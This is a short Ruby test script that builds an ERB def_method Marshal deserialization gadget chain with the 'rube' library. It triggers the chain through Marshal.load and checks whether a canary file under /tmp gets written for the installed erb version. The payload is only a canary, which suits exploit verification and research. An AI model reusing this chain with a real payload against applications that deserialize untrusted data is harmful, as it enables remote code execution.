44 lines
1.2 KiB
Ruby
44 lines
1.2 KiB
Ruby
# ©AngelaMos | 2026
|
|
# exploit_probe.rb
|
|
|
|
require "rube"
|
|
|
|
CANARY_PATH = "/tmp/rube-canary"
|
|
CANARY_MARKER = "fired"
|
|
RESULT_FIRED = "FIRED"
|
|
RESULT_BLOCKED = "BLOCKED"
|
|
RESULT_INERT = "INERT"
|
|
|
|
erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s
|
|
chain = Rube::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)
|
|
blob = chain.serialize
|
|
|
|
inspection = Rube::Marshal::Parser.new(blob).parse
|
|
|
|
File.delete(CANARY_PATH) if File.exist?(CANARY_PATH)
|
|
|
|
revived = Marshal.load(blob)
|
|
detail = begin
|
|
revived.def_method(Module.new, "rube_probe")
|
|
"def_method returned"
|
|
rescue StandardError => e
|
|
"#{e.class}: #{e.message}"
|
|
end
|
|
|
|
fired = File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER
|
|
outcome = if fired
|
|
RESULT_FIRED
|
|
elsif detail.start_with?("ArgumentError")
|
|
RESULT_BLOCKED
|
|
else
|
|
RESULT_INERT
|
|
end
|
|
|
|
predicted = Rube::Chains::ErbDefMethod.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED
|
|
|
|
puts format("%-9s erb=%-9s outcome=%-8s predicted=%-8s classes=%-6s %s",
|
|
ENV.fetch("MATRIX_IMAGE", "?"), erb_version, outcome, predicted,
|
|
inspection.class_names.join(","), detail)
|
|
|
|
exit(outcome == predicted ? 0 : 1)
|